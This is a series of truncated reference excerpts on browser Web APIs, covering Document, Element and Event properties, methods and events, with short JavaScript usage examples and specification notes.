bubbles yes cancelable no interface event event handler property onfullscreenchange the event is sent to the element that is transitioning into or out of full-screen mode, and this event then bubbles up to the document. to find out whether the element is entering or exiting full-screen mode, check the value of documentorshadowroot.fullscreenelement: if this value is null then the element is exiting full-screen mode, otherwise it is entering full-screen mode. examples in this example, a handler for the fullscreenchange event is added to the document. ...
Document: fullscreenerror event - Web APIs
bubbles yes cancelable no interface event event handler property onfullscreenerror as with the fullscreenchange event, two fullscreenerror events are fired; the first is sent to the element which failed to change modes, and the second is sent to the document which owns that element. for some reasons that switching into full-screen mode might fail, see the guide to the fullscreen api. ...
Document.getElementsByTagName() - Web APIs
yntax var elements = document.getelementsbytagname(name); elements is a live htmlcollection (but see the note below) of found elements in the order they appear in the tree. name is a string representing the name of the elements. the special string "*" represents all elements. the latest w3c specification says elements is an htmlcollection; however, this method returns a nodelist in webkit browsers. see bug 14869 for details. example in the following example, getelementsbytagname() starts from a particular parent element and searches top-down recursively through the dom from that parent element, building a collection of all descendant elements which match the tag name parameter. this demonstrates both document.getelementsbytagname() and the functionally identical element.getelementsbyt...
Document.head - Web APIs
Web › API › Document › head
example <!doctype html> <head id="my-document-head"> <title>example: using document.head</title> </head> <script> var thehead = document.head; console.log(thehead.id); // "my-document-head"; console.log( thehead === document.queryselector("head") ); // true </script> notes document.head is read-only. trying to assign a value to this property will fail silently or, in strict mode, throws a typeerror . specifications specification status comment html 5.1the definition of 'document.head' in that specification. recommendation html5the definition of 'document.head' in that specification. recommendation html living standardthe definition of 'document.head' in that specification. living standard initial definition. ...
Document.implementation - Web APIs
ame + " " + modver + " supported?: " + conformtest ); // alerts with: "dom html 2.0 supported?: true" if dom level 2 html module is supported. a list of module names (e.g., core, html, xml, etc.) is available in the dom level 2 conformance section. notes the w3c's dom level 1 recommendation only specified the hasfeature method, which is one way to determine if a dom module is supported by a browser (see example above and what does your user agent claim to support?). if available, other domimplementation methods provide services for controlling things outside of a single document. for example, the domimplementation interface includes a createdocumenttype method with which dtds can be created for one or more documents managed by the implementation. specifications specification ...
Document: keydown event - Web APIs
onkeydown the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered. for example, a lowercase "a" will be reported as 65 by keydown and keyup, but as 97 by keypress. an uppercase "a" is reported as 65 by all events. since firefox 65, the keydown and keyup events are now fired during ime composition, to improve cross-browser compatibility for cjkt users (bug 354358, also see keydown and keyup events are now fired during ime composition for more useful details). to ignore all keydown events that are part of composition, do something like this (229 is a special value set for a keycode relating to an event that has been processed by an ime): eventtarget.addeventlistener("keydown", event => { if (event.iscomposing |...
Document: keyup event - Web APIs
keyup, but as 97 by keypress. an uppercase "a" is reported as 65 by all events. note: if you're looking for a way to react to changes in an input's value, you should use the input event. some changes are not detectable by keyup, for example pasting text from the context menu in a text input. since firefox 65, the keydown and keyup events are now fired during ime composition, to improve cross-browser compatibility for cjkt users (bug 354358, also see keydown and keyup events are now fired during ime composition for more useful details). to ignore all keyup events that are part of composition, do something like this (229 is a special value set for a keycode relating to an event that has been processed by an ime): eventtarget.addeventlistener("keyup", event => { if (event.iscomposing || ev...
Document.location - Web APIs
Web › API › Document › location
read-only location object, you can also assign a domstring to it. this means that you can work with document.location as if it were a string in most cases: document.location = 'http://www.example.com' is a synonym of document.location.href = 'http://www.example.com'. to retrieve just the url as a string, the read-only document.url property can also be used. if the current document is not in a browsing context, the returned value is null. syntax locationobj = document.location document.location = 'http://www.mozilla.org' // equivalent to document.location.href = 'http://www.mozilla.org' examples console.log(document.location); // prints a location object to the console specifications specification status comment html living standardthe definition of 'docum...
Document.open() - Web APIs
Web › API › Document › open
basics for more about principals. three-argument document.open() there is a lesser-known and little-used three-argument version of document.open() , which is an alias of window.open() (see its page for full details). this call, for example opens github.com in a new window, with its opener set to null: document.open('https://www.github.com','', 'noopener=true') two-argument document.open() browsers used to support a two-argument document.open(), with the following signature: document.open(type, replace) where type specified the mime type of the data you are writing (e.g. text/html) and replace if set (i.e. a string of "replace") specified that the history entry for the new document would replace the current history entry of the document being written to. this form is now obsolete; it ...
Document: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste the original target for this event is the element that was the intended target of the paste action. you can listen for this event on the document interface to handle it in the capture or bubbling phases. for full details on this event please see the page on the element: paste event. ...
Document: pointermove event - Web APIs
the pointermove event is fired when a pointer changes coordinates, and the pointer has not been canceled by a browser touch-action. bubbles yes cancelable yes interface pointerevent event handler property onpointermove examples using addeventlistener(): document.addeventlistener('pointermove', (event) => { console.log('pointer moved'); }); using the onpointermove event handler property: document.onpointermove = (event) => { console.log('pointer moved'); }; specifications specification status pointer events obsolete ...
Document.queryCommandEnabled() - Web APIs
syntax isenabled = document.querycommandenabled(command); parameters command the command for which to determine support. return value returns a boolean which is true if the command is enabled and false if the command isn't. notes for 'cut' and 'copy' commands the method only returns true when called from a user-initiated thread. the 'paste' command return false not only if the feature is unavailable, but also if the script calling it has insufficient privileges to perform the action. ...
Document.queryCommandSupported() - Web APIs
syntax issupported = document.querycommandsupported(command); parameters command the command for which to determine support. return value returns a boolean which is true if the command is supported and false if the command isn't. ...
Document: readystatechange event - Web APIs
readystate attribute of a document has changed. ...
Document: visibilitychange event - Web APIs
no longer visible. document.addeventlistener("visibilitychange", function() { if (document.visibilitystate === 'visible') { backgroundmusic.play(); } else { backgroundmusic.pause(); } }); specifications specification status comment page visibility (second edition)the definition of 'visibilitychange' in that specification. recommendation browser compatibility no compatibility data found. please contribute data for "api.document.visibilitychange" (depth: 1) to the mdn compatibility data repository. ...
Document.write() - Web APIs
Web › API › Document › write
y onload="newcontent();"> <p>some original document content.</p> </body> </html> notes the text you write is parsed into the document's structure model. in the example above, the h1 element becomes a node in the document. writing to a document that has already loaded without calling document.open() will automatically call document.open(). after writing, call document.close() to tell the browser to finish loading the page. if the document.write() call is embedded within an inline html <script> tag, then it will not call document.open(). for example: <script> document.write("<h1>main title</h1>") </script> note: document.write() and document.writeln do not work in xhtml documents (you'll get an "operation is not supported" [ns_error_dom_not_supported_err] error in the error consol...
Document.xmlEncoding - Web APIs
try to avoid using it. returns the encoding as determined by the xml declaration. should be null if unspecified or unknown. warning: do not use this attribute; it has been removed from the dom level 4 specification and is no longer supported in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7). if the xml declaration states: <?xml version="1.0" encoding="utf-16"?> ...the result should be "utf-16". ...
Document.xmlVersion - Web APIs
try to avoid using it. returns the version number as specified in the xml declaration (e.g., <?xml version="1.0"?>) or "1.0" if the declaration is absent. this attribute was never really useful, since it always returned 1.0, and has been removed in dom level 4. as such, firefox 10 no longer implements it. its primary use in the past was to detect whether or not the document was being rendered as xml rather than html. ...
DocumentFragment.querySelector() - Web APIs
// match the second div </script> specifications specification status comment selectors api level 2the definition of 'documentfragment.queryselector' in that specification. obsolete no change from selectors api level 1 selectors api level 1the definition of 'documentfragment.queryselector' in that specification. obsolete initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetqueryselectorchrome ...
DocumentOrShadowRoot.elementsFromPoint() - Web APIs
obsolete css object model (cssom) view modulethe definition of 'elementsfrompoint()' in that specification. working draft ...
DocumentOrShadowRoot.getSelection() - Web APIs
f <input> elements in firefox. htmlinputelement.setselectionrange()) could be used to work around this. notice also the difference between selection and focus. document.activeelement returns the focused element. specifications specification status comment shadow domthe definition of 'documentorshadowroot' in that specification. obsolete initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetselection experiment...
DocumentOrShadowRoot.nodeFromPoint() - Web APIs
t. returns a node object. examples html content <div> <p>some text</p> </div> <p>top node at point 30, 20:</p> <div id="output"></div> javascript content var output = document.getelementbyid("output"); if (document.nodefrompoint) { var node = document.nodefrompoint(30, 20); output.textcontent += node.localname; } else { output.innerhtml = "<span style=\"color: red;\">" + "browser does not support <code>document.nodefrompoint()</code>" + "</span>"; } specifications not part of any specification at present. ...
DocumentOrShadowRoot.nodesFromPoint() - Web APIs
...
DocumentTimeline.DocumentTimeline() - Web APIs
the documenttimeline() constructor of the web animations api creates a new instance of the documenttimeline object associated with the active document of the current browsing context. syntax var sharedtimeline = new documenttimeline(options); parameters options an object specifying options for the new timeline. currently the only supported option is the origintime member which specifies the zero time for the documenttimeline as a real number of milliseconds relative to the navigationstart moment of the active document for the current browsing context. examples we could share a single documenttimeline among multiple animations, thus allowing us to manipulate just that group of animations via their shared timeline. this bit of code would start all the cats animating 500 millisecon...
DocumentTimeline - Web APIs
properties this interface inherits its property from its parent, animationtimeline. ...
Events and the DOM - Web APIs
false) function greet(event){ // print and have a look at the event object // always print arguments in case of overlooking any other arguments console.log('greet:', arguments) alert('hello world') } this is the method you should use in modern web pages. note: internet explorer 6–8 didn't support this method, offering a similar eventtarget.attachevent api instead. for cross-browser compatibility, use one of the many javascript libraries available. more details can be found on the eventtarget.addeventlistener reference page. html attribute <button onclick="alert('hello world!')"> the javascript code in the attribute is passed the event object via the event parameter. the return value is treated in a special way, described in the html specification. warning: this me...
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
introduction this article is an overview of some powerful, fundamental dom level 1 methods and how to use them from javascript. you will learn how to create, access and control, and remove html elements dynamically. the dom methods presented here are not specific to html; they also apply to xml. the demonstrations provided here will work fine in any modern browser, including all versions of firefox and ie 5+. the dom methods presented here are part of the document object model (core) level 1 specification. dom level 1 includes both methods for generic document access and manipulation (dom 1 core) as well as methods specific to html documents (dom 1 html). example: creating an html table dynamically (sample1.html) html <input type="button" value="generate a table." onclick="generate_tab...
Document Object Model (DOM) - Web APIs
userdatahandler html dom a document containing html is described using the document interface, which is extended by the html specification to include various html-specific features. in particular, the element interface is enhanced to become htmlelement and various subclasses, each representing one of (or a family of closely related) elements. the html dom api provides access to various browser features such as tabs and windows, css styles and stylesheets, browser history, and so forth. these interfaces are discussed further in the html dom api documentation. svg interfaces svg element interfaces svgaelement svgaltglyphelement svgaltglyphdefelement svgaltglyphitemelement svganimationelement svganimateelement svganimatecolorelement svganimatemotionelement svganima...
DragEvent() - Web APIs
this interface inherits properties from mouseevent and event. syntax event = new dragevent(type, drageventinit); arguments type is a domstring representing the name of the event (see dragevent event types). ...
DragEvent - Web APIs
Web › API › DragEvent
this interface inherits properties from mouseevent and event. properties dragevent.datatransfer read only the data that is transferred during a drag and drop interaction. constructors although this interface has a constructor, it is not possible to create a useful datatransfer object from script, since datatransfer objects have a processing and security model that is coordinated by the browser during drag-and-drops. dragevent() creates a synthetic and untrusted dragevent. event types drag this event is fired when an element or text selection is being dragged. dragend this event is fired when a drag operation is being ended (by releasing a mouse button or hitting the escape key). dragenter this event is fired when a dragged element or text selection enters a valid drop t...
DynamicsCompressorNode() - Web APIs
s nominal range is [0, 1]. threshold: the decibel value above which the compression will start taking effect. its default value is -24. this parameter is k-rate. its nominal range is [-100, 0]. specifications specification status comment web audio apithe definition of 'dynamicscompressornode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdynamicscompressornode(...
EXT_disjoint_timer_query.getQueryObjectEXT() - Web APIs
ery result. if pname is ext.query_result_available_ext: a glboolean indicating whether or not a query result is available. examples var ext = gl.getextension('ext_disjoint_timer_query'); var query = ext.createqueryext(); ext.beginqueryext(ext.time_elapsed_ext, query); // ... drawing ... ext.endqueryext(ext.time_elapsed_ext); // at some point in the future, after returning control to the browser var available = ext.getqueryobjectext(query, ext.query_result_available_ext); var disjoint = gl.getparameter(ext.gpu_disjoint_ext); if (available && !disjoint) { // see how much time the rendering of the object took in nanoseconds. var timeelapsed = ext.getqueryobjectext(query, ext.query_result_ext); } specifications specification status comment ext_disjoint_time...
EffectTiming.fill - Web APIs
Web › API › EffectTiming › fill
hey have a number of drawbacks: the forwards fill of an animation (or backwards fill if the animation is playing in reverse) will continue to override any changes to specified style indefinitely which can lead to confusing behavior. this is because animations take priority in the css cascade over normal author styles. in order to avoid leaking memory when many filling animations overlap, the browser is required to remove overlapped animations which can lead to surprising results in some cases. rather than using fill modes to persist an animation, it is often simpler to set the final value of the animation effect directly in specified style: elem.animate({ transform: 'translatey(100px)' }, 200).finished.then(() => { elem.style.transform = 'translatey(100px)'; }); alternatively, it ma...
Element.accessKey - Web APIs
Web › API › Element › accessKey
the element.accesskey property sets the keystroke which a user can press to jump to a given element. the element.accesskey property is seldom used because of its multiple conflicts with already present key bindings in browsers. to work around this, browsers implement accesskey behavior if the keys are pressed with other "qualifying" keys (such as alt + accesskey). ...
Element.animate() - Web APIs
Web › API › Element › animate
n animation on the #tunnel element to make it flow upwards, infinitely. notice the array of objects passed as keyframes and also the timing options block. document.getelementbyid("tunnel").animate([ // keyframes { transform: 'translatey(0px)' }, { transform: 'translatey(-300px)' } ], { // timing options duration: 1000, iterations: infinity }); implicit to/from keyframes in newer browser versions, you are able to set a beginning or end state for an animation only (i.e. a single keyframe), and the browser will infer the other end of the animation if it is able to. for example, consider this simple animation — the keyframe object looks like so: let rotate360 = [ { transform: 'rotate(360deg)' } ]; we have only specified the end state of the animation, and the beginning state...
Element.attributes - Web APIs
to be more specific, attributes is a key/value pair of strings that represents any information regarding that attribute. ...
Element: auxclick event - Web APIs
n other than the primary—usually leftmost—button) has been pressed and released both within the same element. auxclick is fired after the mousedown and mouseup events have been fired, in that order. bubbles yes cancelable yes interface mouseevent event handler property onauxclick preventing default actions for the vast majority of browsers that map middle click to opening a link in a new tab, including firefox, it is possible to cancel this behavior by calling preventdefault() from within an auxclick event handler. when listening for auxclick events originating on elements that do not support input or navigation, you will often want to explicitly prevent other default actions mapped to the down action of the middle mouse button...
Element: click event - Web APIs
nts have fired, in that order. usage notes the mouseevent object passed into the event handler for click has its detail property set to the number of times the target was clicked. in other words, detail will be 2 for a double-click, 3 for triple-click, and so forth. this counter resets after a short interval without any clicks occurring; the specifics of how long that interval is may vary from browser to browser and across platforms. the interval is also likely to be affected by user preferences; for example, accessibility options may extend this interval to make it easier to perform multiple clicks with adaptive interfaces. internet explorer internet explorer 8 & 9 suffer from a bug where elements with a computed background-color of transparent that are overlaid on top of other element(s)...
Element.closest() - Web APIs
Web › API › Element › closest
the id=div-02 var r2 = el.closest("div div"); // returns the closest ancestor which is a div in div, here it is the div-03 itself var r3 = el.closest("article > div"); // returns the closest ancestor which is a div and has a parent article, here it is the div-01 var r4 = el.closest(":not(div)"); // returns the closest ancestor which is not a div, here it is the outmost article polyfill for browsers that do not support element.closest(), but carry support for element.matches() (or a prefixed equivalent, meaning ie9+), a polyfill exists: if (!element.prototype.matches) { element.prototype.matches = element.prototype.msmatchesselector || element.prototype.webkitmatchesselector; } if (!element.prototype.closest) { element.prototype.closest = function(s) { var el = this; ...
Element: compositionend event - Web APIs
{ console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: grid; grid-template-areas: "control log"; } .control { grid-area: control; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } input[type="text"] { margin: .5rem 0; } kbd { border-radius: 3px; padding: 1p...
Element: compositionstart event - Web APIs
{ console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: grid; grid-template-areas: "control log"; } .control { grid-area: control; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } input[type="text"] { margin: .5rem 0; } kbd { border-radius: 3px; padding: 1p...
Element: compositionupdate event - Web APIs
{ console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: grid; grid-template-areas: "control log"; } .control { grid-area: control; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } input[type="text"] { margin: .5rem 0; } kbd { border-radius: 3px; padding: 1p...
Element: contextmenu event - Web APIs
interface mouseevent event handler property oncontextmenu examples in this example, the default action of the contextmenu event is canceled using preventdefault() when the contextmenu event is fired at the first paragraph. as a result, the first paragraph will do nothing when right-clicked, while the second paragraph will show the standard context menu offered by your browser. html <p id="nocontextmenu">the context menu has been disabled on this paragraph.</p> <p>but it has not been disabled on this one.</p> javascript nocontext = document.getelementbyid('nocontextmenu'); nocontext.addeventlistener('contextmenu', e => { e.preventdefault(); }); result specifications specification status comment html living standardthe definiti...
Element: copy event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncopy the event's default action is to copy the selection (if any) to the clipboard. a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault(). however, the handler cannot read the clipboard data. it's possible to construct and dispatch a synthetic copy event, but this will not affect the system clipboard. ...
Element: cut event - Web APIs
Web › API › Element › cut event
if the user attempts a cut action on uneditable content, the cut event still fires but the event object contains no data. bubbles yes cancelable yes interface clipboardevent event handler property oncut the event's default action is to copy the current selection (if any) to the system clipboard and remove it from the document. a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.preventdefault(). ...
Element: error event - Web APIs
ty onerror the event object is a uievent instance if it was generated from a user interface element, or an event instance otherwise. ...
Element: fullscreenerror event - Web APIs
bubbles yes cancelable no interface event event handler property onfullscreenerror as with the fullscreenchange event, two fullscreenerror events are fired; the first is sent to the element which failed to change modes, and the second is sent to the document which contains that element. for some reasons that switching into full-screen mode might fail, see the guide to the fullscreen api. ...
Element.getAttribute() - Web APIs
value you want to get. examples const div1 = document.getelementbyid('div1'); const align = div1.getattribute('align'); alert(align); // shows the value of align for the element with id="div1" description lower casing when called on an html element in a dom flagged as an html document, getattribute() lower-cases its argument before proceeding. non-existing attributes essentially all web browsers (firefox, internet explorer, recent versions of opera, safari, konqueror, and icab, as a non-exhaustive list) return null when the specified attribute does not exist on the specified element; this is what the current dom specification draft specifies. the old dom 3 core specification, on the other hand, says that the correct return value in this case is actually the empty string, and some dom ...
Element.getAttributeNS() - Web APIs
tributens() differs from getattribute() in that it allows you to further specify the requested attribute as being part of a particular namespace, as in the example above, where the attribute is part of the fictional "specialspace" namespace on mozilla. prior to the dom4 specification, this method was specified to return an empty string rather than null for non-existent attributes. however, most browsers instead returned null. starting with dom4, the specification now says to return null. however, some older browsers return an empty string. for that reason, you should use hasattributens() to check for an attribute's existence prior to calling getattributens() if it is possible that the requested attribute does not exist on the specified element. dom methods dealing with element's attributes: ...
Element.innerHTML - Web APIs
Web › API › Element › innerHTML
rt for that reason, it is recommended that you do not use innerhtml when inserting plain text; instead, use node.textcontent. this doesn't parse the passed content as html, but instead inserts it as raw text. warning: if your project is one that will undergo any form of security review, using innerhtml most likely will result in your code being rejected. for example, if you use innerhtml in a browser extension and submit the extension to addons.mozilla.org, it will not pass the automated review process. example this example uses innerhtml to create a mechanism for logging messages into a box on a web page. javascript function log(msg) { var logelem = document.queryselector(".log"); var time = new date(); var timestr = time.tolocaletimestring(); logelem.innerhtml += timestr + "...
Element: keydown event - Web APIs
cter was entered. for example, a lowercase "a" will be reported as 65 by keydown and keyup, but as 97 by keypress. an uppercase "a" is reported as 65 by all events. keyboard events are only generated by <inputs>, <textarea> and anything with the contenteditable attribute or with tabindex="-1". since firefox 65, the keydown and keyup events are now fired during ime composition, to improve cross-browser compatibility for cjkt users (bug 354358, also see keydown and keyup events are now fired during ime composition for more useful details). to ignore all keydown events that are part of composition, do something like this (229 is a special value set for a keycode relating to an event that has been processed by an ime): eventtarget.addeventlistener("keydown", event => { if (event.iscomposing |...
Element: keyup event - Web APIs
onkeyup the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered. for example, a lowercase "a" will be reported as 65 by keydown and keyup, but as 97 by keypress. an uppercase "a" is reported as 65 by all events. since firefox 65, the keyup and keydown events are now fired during ime composition, to improve cross-browser compatibility for cjkt users (bug 354358, also see keydown and keyup events are now fired during ime composition for more useful details). to ignore all keyup events that are part of composition, do something like this (229 is a special value set for a keycode relating to an event that has been processed by an ime): eventtarget.addeventlistener("keyup", event => { if (event.iscomposing || ev...
Element.localName - Web APIs
Web › API › Element › localName
qualified names are typically used in xml as part of the namespace(s) of the particular xml documents. for example, in the qualified name ecomm:partners, partners is the local name and ecomm is the prefix: <ecomm:business id="soda_shop" type="brick_n_mortar" xml...
Element.namespaceURI - Web APIs
ment.namespaceuri read-only property returns the namespace uri of the element, or null if the element is not in a namespace. before dom4 this api was defined within the node interface. syntax namespace = element.namespaceuri example in this snippet, an element is being examined for its localname and its namespaceuri. if the namespaceuri returns the xul namespace and the localname returns "browser", then the node is understood to be a xul <browser/>. if (element.localname == "browser" && element.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul browser } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope. the namespace uri of a node is frozen ...
Element.outerHTML - Web APIs
Web › API › Element › outerHTML
d"); console.log(container.firstchild.nodename); // logs "div" d.outerhtml = "<p>this paragraph replaced the original div.</p>"; console.log(container.firstchild.nodename); // logs "p" // the #d div is no longer part of the document tree, // the new paragraph replaced it. notes if the element has no parent element, setting its outerhtml property will not change it or its descendants. many browsers will also throw an exception. for example: var div = document.createelement("div"); div.outerhtml = "<div class=\"test\">test</div>"; console.log(div.outerhtml); // output: "<div></div>" also, while the element will be replaced in the document, the variable whose outerhtml property was set will still hold a reference to the original element: var p = document.getelementsbytagname("p")[0]; co...
Element: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position. a handler for this event can access the clipboard contents by calling getdata() on the event's clipboarddata property. ...
Element.scroll() - Web APIs
Web › API › Element › scroll
ples // put the 1000th vertical pixel at the top of the element element.scroll(0, 1000); using options: element.scroll({ top: 100, left: 100, behavior: 'smooth' }); specification specification status comment css object model (cssom) view modulethe definition of 'element.scroll()' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollchrome ...
Element.scrollIntoViewIfNeeded() - Web APIs
this method is a proprietary variation of the standard element.scrollintoview() method. syntax todo parameters opt_center is an optional boolean value with a default value of true: if true, the element will be aligned so it is centered within the visible area of the scrollable ancestor. ...
Element.scrollTo() - Web APIs
Web › API › Element › scrollTo
- or - options is a scrolltooptions dictionary. examples element.scrollto(0, 1000); using options: element.scrollto({ top: 100, left: 100, behavior: 'smooth' }); specifications specification status comment css object model (cssom) view modulethe definition of 'element.scrollto()' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrolltochrome ...
Element.setAttribute() - Web APIs
ollowing example, setattribute() is used to set attributes on a <button>. html <button>hello world</button> javascript var b = document.queryselector("button"); b.setattribute("name", "hellobutton"); b.setattribute("disabled", ""); this demonstrates two things: the first call to setattribute() above shows changing the name attribute's value to "hellobutton". you can see this using your browser's page inspector (chrome, edge, firefox, safari). to set the value of a boolean attribute, such as disabled, you can specify any value. an empty string or the name of the attribute are recommended values. all that matters is that if the attribute is present at all, regardless of its actual value, its value is considered to be true. the absence of the attribute means its value is false. by sett...
Element.slot - Web APIs
Web › API › Element › slot
ur javascript file we get a reference to the <span> shown above, then log a reference to the name of the corresponding <slot> element. let slottedspan = document.queryselector('my-paragraph span') console.log(slottedspan.slot); // logs 'my-text' specifications specification status comment domthe definition of 'slot' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetslotchrome ...
Encoding API - Web APIs
the encoding api provides a mechanism for handling text in various character encodings, including legacy non-utf-8 encodings. the api provides four interfaces: textdecoder, textencoder, textdecoderstream and textencoderstream. interfaces textdecoder textencoder textdecoderstream textencoderstream tutorials & tools a shim allowing to use this interface in browsers that don't support it. stringview – a c-like representation of strings based on typed arrays. specifications specification status comment encoding living standard initial definition. ...
Comparison of Event Targets - Web APIs
event.originaltarget event.webidl the original target of the event, before any retargetings. see anonymous content#event_flow_and_targeting for details. event.composedtarget event.webidl the original non-native target of the event before composition from shadow dom. ...
Event.cancelBubble - Web APIs
the cancelbubble property of the event interface is a historical alias to event.stoppropagation(). setting its value to true before returning from an event handler prevents propagation of the event. in later implementations, setting this to false does nothing. see browser compatibility for details. syntax event.cancelbubble = bool; var bool = event.cancelbubble; value a boolean. example elem.onclick = function(event) { // do cool things here event.cancelbubble = true; } specifications specification status comment domthe definition of 'cancelbubble' in that specification. living standard ...
Event.initEvent() - Web APIs
Web › API › Event › initEvent
on status comment domthe definition of 'event.initevent()' in that specification. living standard from document object model (dom) level 2 events specification, deprecated it, superseded by event constructors. document object model (dom) level 2 events specificationthe definition of 'event.initevent()' in that specification. obsolete initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetinitevent deprecatedchro...
Event.msConvertURL() - Web APIs
ies between implementations and the behavior may change in the future. the msconverturl method instructs the html paste operation on how to modify the src attribute that corresponds to each file in the clipboarddata.files collection, allowing otherwise inaccessible files to be converted to blob or data uris. this proprietary method is specific to internet explorer and the microsoft edge browser. syntax var retval = dragevent.msconverturl(file, targettype, targeturl); parameters file [in] type: file the file object to be converted. targettype [in] type: domstring one of the following values indicating the desired conversion type: "specified", "base64", or "unchanged". targeturl [in, optional] type: url the target url. return value this method does not return a value. ex...
Event.returnValue - Web APIs
Web › API › Event › returnValue
= bool; var bool = event.returnvalue; value a boolean value which is true if the event has not been canceled; otherwise, if the event has been canceled or the default has been prevented, the value is false. the value returned by returnvalue is the opposite of the value returned by defaultprevented. usage notes returnvalue was introduced into the dom by internet explorer 6, and due to that browser's ubiquity became so commonly used that other browsers eventually implemented it as well. it has been adopted into the dom specification, primarily to ensure that existing web content continues to function going forward. new projects should generally avoid using returnvalue, although they may if they choose to do so. specifications specification status comment dom...
Event.srcElement - Web APIs
Web › API › Event › srcElement
initially implemented in internet explorer, event.srcelement is a now-standard alias (defined in the dom standard but flagged as "historical") for the event.target property. it's supported in all major browser engines, but only for compatibility reasons. use event.target instead. specifications specification status comment domthe definition of 'event.srcelement' in that specification. living standard ...
Event.timeStamp - Web APIs
Web › API › Event › timeStamp
. </p> <p>timestamp: <span id="time">-</span></p> javascript function gettime(event) { var time = document.getelementbyid("time"); time.firstchild.nodevalue = event.timestamp; } document.body.addeventlistener("keypress", gettime); result reduced time precision to offer protection against timing attacks and fingerprinting, the precision of event.timestamp might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 event.timestamp; // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `privacy.resistfingerprinting` enabled event.timestamp; // 1519129853500 // 1519129858900 // 15...
EventListener.handleEvent() - Web APIs
the eventlistener method handleevent() method is called by the user agent when an event is sent to the eventlistener, in order to handle events that occur on an observed eventtarget. syntax eventlistener.handleevent(event); parameters event an event object describing the event that has been fired and needs to be processed. return value undefined. if you return a value, the browser will ignore it. specifications specification status comment domthe definition of 'eventlistener.handleevent()' in that specification. living standard no change. document object model (dom) level 2 events specificationthe definition of 'eventlistener.handleevent()' in that specification. obsolete initial definition. ...
EventTarget.removeEventListener() - Web APIs
notes if an eventlistener is removed from an eventtarget while it is processing an event, it will not be triggered by the current actions. an eventlistener will not be invoked for the even...
ExtendableEvent.waitUntil() - Web APIs
the install events in service workers use waituntil() to hold the service worker in the installing phase until tasks complete. if the promise passed to waituntil() rejects, the install is considered a failure, and the installing service worker is discarded. ...
ExtendableEvent - Web APIs
